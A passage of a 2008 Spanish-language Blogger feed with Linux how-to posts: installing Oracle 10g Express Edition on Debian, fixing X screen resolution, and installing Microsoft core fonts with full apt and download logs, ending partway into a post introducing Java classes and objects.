que Oracle puso a disposición de todos los que quieran usar Oracle para los desarrollos, y ademas con interfaz web integrada.&lt;br /&gt;&lt;br /&gt;Vamos instalar oracle 10g Express Edition en Linux Debian, de la siguiente manera:&lt;br /&gt;&lt;br /&gt;1.- Debemos añadir a nuestro archivo /etc/apt/source.list el siguiente repositorio:&lt;br /&gt;&lt;br /&gt;deb &lt;a href="http://oss.oracle.com/debian" rel="nofollow"&gt;http://oss.oracle.com/debian&lt;/a&gt; unstable main non-free&lt;br /&gt;&lt;br /&gt;2.- Actualizar los repositorios de nuestro gestor de paquetes apt con el siguinte comando:&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;sudo apt-get update&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;3.- Ejecutar la instalación:&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt; sudo apt-get install oracle-xe-universal&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias   &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;libaio&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;libaio oracle-xe-universal&lt;br /&gt;0 actualizados, 2 se instalarán, 0 para eliminar y 0 no actualizados.&lt;br /&gt;Necesito descargar 262MB de archivos.&lt;br /&gt;Se utilizarán 451MB de espacio de disco adicional después de desempaquetar.&lt;br /&gt;¿Desea continuar [S/n]? S&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Se va a demorar un poco, Un par de preguntas, como los puertos que se van a ocupar,  y password del SYS, y tendriamos Oracle 10g en linux, este es el log:&lt;br /&gt;&lt;br /&gt;slack@ubuntu:~$ sudo &lt;span style="font-weight: bold;"&gt;/etc/init.d/oracle-xe configure&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;&lt;br /&gt;Oracle Database 10g Express Edition Configuration&lt;br /&gt;-------------------------------------------------&lt;br /&gt;This will configure on-boot properties of Oracle Database 10g Express&lt;br /&gt;Edition.  The following questions will determine whether the database should&lt;br /&gt;be starting upon system boot, the ports it will use, and the passwords that&lt;br /&gt;will be used for database accounts.  Press &lt;enter&gt; to accept the defaults.&lt;br /&gt;Ctrl-C will abort.&lt;br /&gt;&lt;br /&gt;Specify the HTTP port that will be used for Oracle Application Express [8080]:8082&lt;br /&gt;&lt;br /&gt;Specify a port that will be used for the database listener [1521]:&lt;br /&gt;&lt;br /&gt;Specify a password to be used for database accounts.  Note that the same&lt;br /&gt;password will be used for SYS and SYSTEM.  Oracle recommends the use of&lt;br /&gt;different passwords for each database account.  This can be done after&lt;br /&gt;initial configuration:&lt;br /&gt;Confirm the password:&lt;br /&gt;&lt;br /&gt;Do you want Oracle Database 10g Express Edition to be started on boot (y/n) [y]:y&lt;br /&gt;&lt;br /&gt;Starting Oracle Net Listener...Done&lt;br /&gt;Configuring Database...Done&lt;br /&gt;Starting Oracle Database 10g Express Edition Instance...Done&lt;br /&gt;Installation Completed Successfully.&lt;br /&gt;To access the Database Home Page go to "http://127.0.0.1:8082/apex"&lt;br /&gt;&lt;br /&gt;Nos muestra la url de acceso al login del Oracle XE.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-6986675857156949909?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/6986675857156949909/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=6986675857156949909' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6986675857156949909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6986675857156949909'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/07/instalar-oracle-10g-express-edition.html' title='Instalar Oracle 10g Express Edition'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-7941519696827868878</id><published>2008-07-18T15:12:00.002-04:00</published><updated>2008-07-18T15:25:08.143-04:00</updated><title type='text'>Resolucion en debian</title><content type='html'>Hola, muchas veces cuando instalamos alguna distribución de linux, nos ocurre que nuestra tarjeta grafica no es compatible y nos muestra la pantalla con resoluciones muy bajas.&lt;br /&gt;Para corregir este problema podemos hacerlo de la siguiente manera configurando nuestros Xorg.conf&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.-&lt;/span&gt; nos cambiamos a superusuario en la consola&lt;br /&gt;&lt;br /&gt;slack@debian:~$ &lt;span style="font-weight: bold;"&gt;su&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ingresamos passwd de root y hacemos una copia del archivo xorg.conf de configuracion de la X&lt;br /&gt;&lt;br /&gt;# &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;cp /etc/X11/xorg.conf  /root&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Ejecutamos la siguiente linea de comando para ejecutar el script de configuracion&lt;br /&gt;&lt;br /&gt;# &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dpkg-reconfigure xserver-xorg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.-&lt;/span&gt; se abrira una pantalla de fondo azul que nos solicitara una serie de parametros para la configuracion de distintos dispositivo.&lt;br /&gt;Revisamos las preguntas que nos ira mostrando, aunque por lo general las respuestas son las opciones que nos muestra por defecto, configuramos mouse, teclado, pantalla, etc.&lt;br /&gt;&lt;br /&gt;Cuando pregunte por la resolución de pantalla, verificamos en el listado que este chekeada la mejor resolución que nos permite el monitor, seguimos aceptando las respuestas por defecto hasta terminar con la configuración.&lt;br /&gt;&lt;br /&gt;Al final nos mostrara un mensaje similar al siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# &lt;span style="color: rgb(0, 0, 153);"&gt;dpkg-reconfigure xserver-xorg&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;xserver-xorg postinst warning: overwriting possibly-customised configuration&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   file; backup in /etc/X11/xorg.conf.20080718152423&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego salimos de los programas que tenemos abiertos y reiniciamos Linux&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-7941519696827868878?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/7941519696827868878/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=7941519696827868878' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7941519696827868878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7941519696827868878'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/07/resolucion-en-debian.html' title='Resolucion en debian'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2504795801184316711</id><published>2008-06-18T14:46:00.003-04:00</published><updated>2008-06-18T14:58:21.681-04:00</updated><title type='text'>Instalar fuentes de windows en OpenOffice</title><content type='html'>Hola, este articulo nos explica en pocos pasos la instalacion de fuentes de windows en Open Office, entre otras la Arial.&lt;br /&gt;&lt;br /&gt;entonces, vamos a la consola y escribimos:&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;apt-cache search msttcorefonts&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Con este comando estamos buscando y listando de nuestro repositorio (source.list) el paquete de software &lt;span style="font-weight: bold;"&gt;msttcorefonts&lt;/span&gt;, el que contiene las fuentes mas tipicas del ventanukos&lt;span style="font-weight: bold;"&gt; windows, &lt;/span&gt;si todo va bien nos debiera desplegar un listado similar a este&lt;span style="font-weight: bold;"&gt;:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;     &lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;&lt;/style&gt;openoffice.org - OpenOffice.org Office suite&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;msttcorefonts&lt;/span&gt; - Installer for Microsoft TrueType core fonts&lt;br /&gt;ttf-liberation - Free fonts with the same metrics as Times, Arial and Courier&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;En el cual identificamos a simple vista que se trata de paquetes de software para instalacion de fuentes microsoft.&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Ahora instalamos &lt;span style="font-weight: bold;"&gt;msttcorefonts con apt-get install &lt;/span&gt;de la siguiente forma, y siempre por consola, en este caso como root&lt;span style="font-weight: bold;"&gt; (sudo).&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;sudo apt-get install msttcorefonts&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias     &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalaron de forma automática los siguientes paquetes y ya no son necesarios.&lt;br /&gt; libxalan110 libxerces27&lt;br /&gt;Utilice «apt-get autoremove» para eliminarlos.&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt; cabextract&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt; cabextract msttcorefonts&lt;br /&gt;0 actualizados, 2 se instalarán, 0 para eliminar y 0 no actualizados.&lt;br /&gt;Necesito descargar 89,0kB de archivos.&lt;br /&gt;Se utilizarán 389kB de espacio de disco adicional después de desempaquetar.&lt;br /&gt;¿Desea continuar [S/n]? S&lt;br /&gt;Des:1 http://cl.archive.ubuntu.com hardy/universe cabextract 1.2-2 [53,9kB]&lt;br /&gt;Des:2 http://cl.archive.ubuntu.com hardy/multiverse msttcorefonts 2.4 [35,1kB]&lt;br /&gt;Descargados 89,0kB en 1s (46,3kB/s)&lt;br /&gt;Preconfigurando paquetes ...&lt;br /&gt;Seleccionando el paquete cabextract previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...&lt;br /&gt;134064 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando cabextract (de .../cabextract_1.2-2_i386.deb) ...&lt;br /&gt;Seleccionando el paquete msttcorefonts previamente no seleccionado.&lt;br /&gt;Desempaquetando msttcorefonts (de .../msttcorefonts_2.4_all.deb) ...&lt;br /&gt;Configurando cabextract (1.2-2) ...&lt;br /&gt;Configurando msttcorefonts (2.4) ...&lt;br /&gt;&lt;br /&gt;These fonts were provided by Microsoft "in the interest of cross-&lt;br /&gt;platform compatibility".  This is no longer the case, but they are&lt;br /&gt;still available from third parties.&lt;br /&gt;&lt;br /&gt;You are free to download these fonts and use them for your own use,&lt;br /&gt;but you may not redistribute them in modified form, including changes&lt;br /&gt;to the file name or packaging format.&lt;br /&gt;&lt;br /&gt;--14:43:45--  http://surfnet.dl.sourceforge.net/sourceforge/corefonts/andale32.exe&lt;br /&gt;          =&gt; `./andale32.exe'&lt;br /&gt;Resolviendo surfnet.dl.sourceforge.net... 130.59.138.20&lt;br /&gt;Conectando a surfnet.dl.sourceforge.net|130.59.138.20|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://prdownloads.sourceforge.net/corefonts/andale32.exe?download&amp;amp;failedmirror=surfnet.dl.sourceforge.net [siguiente]&lt;br /&gt;--14:43:46--  http://prdownloads.sourceforge.net/corefonts/andale32.exe?download&amp;amp;failedmirror=surfnet.dl.sourceforge.net&lt;br /&gt;          =&gt; `./andale32.exe?download&amp;amp;failedmirror=surfnet.dl.sourceforge.net'&lt;br /&gt;Resolviendo prdownloads.sourceforge.net... 216.34.181.60&lt;br /&gt;Conectando a prdownloads.sourceforge.net|216.34.181.60|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://master.dl.sourceforge.net/sourceforge/corefonts/andale32.exe [siguiente]&lt;br /&gt;--14:43:47--  http://master.dl.sourceforge.net/sourceforge/corefonts/andale32.exe&lt;br /&gt;          =&gt; `./andale32.exe'&lt;br /&gt;Resolviendo master.dl.sourceforge.net... 216.34.181.56&lt;br /&gt;Conectando a master.dl.sourceforge.net|216.34.181.56|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 404 Not Found&lt;br /&gt;14:43:47 ERROR 404: Not Found.&lt;br /&gt;&lt;br /&gt;--14:43:47--  http://internap.dl.sourceforge.net/sourceforge/corefonts/andale32.exe&lt;br /&gt;          =&gt; `./andale32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 198,384 (194K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 198,384       58.08K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:43:51 (57.95 KB/s) - `./andale32.exe' guardado [198384/198384]&lt;br /&gt;&lt;br /&gt;--14:43:51--  http://internap.dl.sourceforge.net/sourceforge/corefonts/arialb32.exe&lt;br /&gt;          =&gt; `./arialb32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 168,176 (164K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 168,176       54.42K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:43:56 (54.29 KB/s) - `./arialb32.exe' guardado [168176/168176]&lt;br /&gt;&lt;br /&gt;--14:43:56--  http://internap.dl.sourceforge.net/sourceforge/corefonts/arial32.exe&lt;br /&gt;          =&gt; `./arial32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 554,208 (541K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 554,208       51.49K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:06 (55.71 KB/s) - `./arial32.exe' guardado [554208/554208]&lt;br /&gt;&lt;br /&gt;--14:44:06--  http://internap.dl.sourceforge.net/sourceforge/corefonts/comic32.exe&lt;br /&gt;          =&gt; `./comic32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 246,008 (240K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 246,008       59.69K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:10 (59.52 KB/s) - `./comic32.exe' guardado [246008/246008]&lt;br /&gt;&lt;br /&gt;--14:44:10--  http://internap.dl.sourceforge.net/sourceforge/corefonts/courie32.exe&lt;br /&gt;          =&gt; `./courie32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 646,368 (631K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 646,368       56.77K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:22 (55.15 KB/s) - `./courie32.exe' guardado [646368/646368]&lt;br /&gt;&lt;br /&gt;--14:44:22--  http://internap.dl.sourceforge.net/sourceforge/corefonts/georgi32.exe&lt;br /&gt;          =&gt; `./georgi32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 392,440 (383K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 392,440       54.83K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:30 (52.78 KB/s) - `./georgi32.exe' guardado [392440/392440]&lt;br /&gt;&lt;br /&gt;--14:44:30--  http://internap.dl.sourceforge.net/sourceforge/corefonts/impact32.exe&lt;br /&gt;          =&gt; `./impact32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 173,288 (169K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 173,288       50.91K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:34 (50.82 KB/s) - `./impact32.exe' guardado [173288/173288]&lt;br /&gt;&lt;br /&gt;--14:44:34--  http://internap.dl.sourceforge.net/sourceforge/corefonts/times32.exe&lt;br /&gt;          =&gt; `./times32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 661,728 (646K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 661,728       47.12K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:47 (53.53 KB/s) - `./times32.exe' guardado [661728/661728]&lt;br /&gt;&lt;br /&gt;--14:44:47--  http://internap.dl.sourceforge.net/sourceforge/corefonts/trebuc32.exe&lt;br /&gt;          =&gt; `./trebuc32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 357,200 (349K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 357,200       56.39K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:44:53 (59.04 KB/s) - `./trebuc32.exe' guardado [357200/357200]&lt;br /&gt;&lt;br /&gt;--14:44:53--  http://internap.dl.sourceforge.net/sourceforge/corefonts/verdan32.exe&lt;br /&gt;          =&gt; `./verdan32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 351,992 (344K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 351,992       60.51K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:45:00 (51.63 KB/s) - `./verdan32.exe' guardado [351992/351992]&lt;br /&gt;&lt;br /&gt;--14:45:00--  http://internap.dl.sourceforge.net/sourceforge/corefonts/webdin32.exe&lt;br /&gt;          =&gt; `./webdin32.exe'&lt;br /&gt;Resolviendo internap.dl.sourceforge.net... 69.88.152.3&lt;br /&gt;Conectando a internap.dl.sourceforge.net|69.88.152.3|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 185,072 (181K) [application/octet-stream]&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================&gt;] 185,072       53.97K/s    ETA 00:00&lt;br /&gt;&lt;br /&gt;14:45:04 (53.86 KB/s) - `./webdin32.exe' guardado [185072/185072]&lt;br /&gt;&lt;br /&gt;Extracting cabinet: andale32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting andale.inf&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting AndaleMo.TTF&lt;br /&gt; extracting ADVPACK.DLL&lt;br /&gt; extracting W95INF32.DLL&lt;br /&gt; extracting W95INF16.DLL&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: arialb32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting AriBlk.TTF&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: arial32.exe&lt;br /&gt; extracting FONTINST.EXE&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Ariali.TTF&lt;br /&gt; extracting Arialbd.TTF&lt;br /&gt; extracting Arialbi.TTF&lt;br /&gt; extracting Arial.TTF&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: comic32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Comicbd.TTF&lt;br /&gt; extracting Comic.TTF&lt;br /&gt; extracting fontinst.exe&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: courie32.exe&lt;br /&gt; extracting cour.ttf&lt;br /&gt; extracting courbd.ttf&lt;br /&gt; extracting courbi.ttf&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting couri.ttf&lt;br /&gt; extracting fontinst.exe&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: georgi32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Georgiaz.TTF&lt;br /&gt; extracting Georgiab.TTF&lt;br /&gt; extracting Georgiai.TTF&lt;br /&gt; extracting Georgia.TTF&lt;br /&gt; extracting fontinst.exe&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: impact32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting Impact.TTF&lt;br /&gt; extracting fontinst.inf&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: times32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Times.TTF&lt;br /&gt; extracting Timesbd.TTF&lt;br /&gt; extracting Timesbi.TTF&lt;br /&gt; extracting Timesi.TTF&lt;br /&gt; extracting FONTINST.EXE&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: trebuc32.exe&lt;br /&gt; extracting FONTINST.EXE&lt;br /&gt; extracting trebuc.ttf&lt;br /&gt; extracting Trebucbd.ttf&lt;br /&gt; extracting trebucbi.ttf&lt;br /&gt; extracting trebucit.ttf&lt;br /&gt; extracting fontinst.inf&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: verdan32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Verdanab.TTF&lt;br /&gt; extracting Verdanai.TTF&lt;br /&gt; extracting Verdanaz.TTF&lt;br /&gt; extracting Verdana.TTF&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;Extracting cabinet: webdin32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting Webdings.TTF&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Licen.TXT&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;All fonts downloaded and installed.&lt;br /&gt;Updating fontconfig cache for /usr/share/fonts/truetype/msttcorefonts&lt;br /&gt;No CIDSupplement specified for Batang-Bold, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for Batang-Regular, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for UMingCN, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for KochiGothic-Regular-JaH, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for Dotum-Bold, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for KochiMincho-Regular, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for KochiGothic-Regular, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for KochiMincho-Regular-JaH, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for Dotum-Regular, defaulting to 0.&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Y listo, uta q amigable es linux ah... luego de esta configuracion tenemos las fuentes instaladas para OpenOffice.&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Saludos y Suerte !!&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2504795801184316711?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2504795801184316711/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2504795801184316711' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2504795801184316711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2504795801184316711'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/06/instalar-fuentes-de-windows-en.html' title='Instalar fuentes de windows en OpenOffice'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2680172825812520074</id><published>2008-06-18T12:22:00.007-04:00</published><updated>2008-06-18T12:56:33.857-04:00</updated><title type='text'>Clases y Objetos</title><content type='html'>Hola, dentro de las clases y presentaciones que expongo donde trabajo, he planificado la preparacion de estos documentos con el objetivo de introducir a los oyentes al mundo Java, SOA, y UML.&lt;br /&gt;Traspasandoles mi conocimiento para un mejor entendimiento de las tecnologìas que demanda la Industria.&lt;br /&gt;Las presentaciones de UML y Java apuntan a eso. Ahora veremos un articulo sobre Clases y Objetos, tema presentado en esta planificacion.&lt;br /&gt;&lt;br /&gt;Comencemos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Programa Java&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Un programa Java está formado por un conjunto de clases que interactúan entre sí&lt;/li&gt;&lt;li&gt;La clase es la unidad básica de programación&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Clase&lt;/span&gt;&lt;br /&gt;Implementación de un tipo de dato.&lt;br /&gt;Una clase sirve tanto de módulo como de tipo&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Tipo: Descripción de un conjunto de objetos (equipados con ciertas operaciones).&lt;/li&gt;&lt;li&gt;Módulo: Unidad de descomposición del software.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Objeto&lt;/span&gt;&lt;br /&gt;Instancia de una clase:&lt;br /&gt;Unidad que encapsula estado y comportamiento.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Un objeto puede caracterizar una entidad física (un teléfono, un interruptor, un 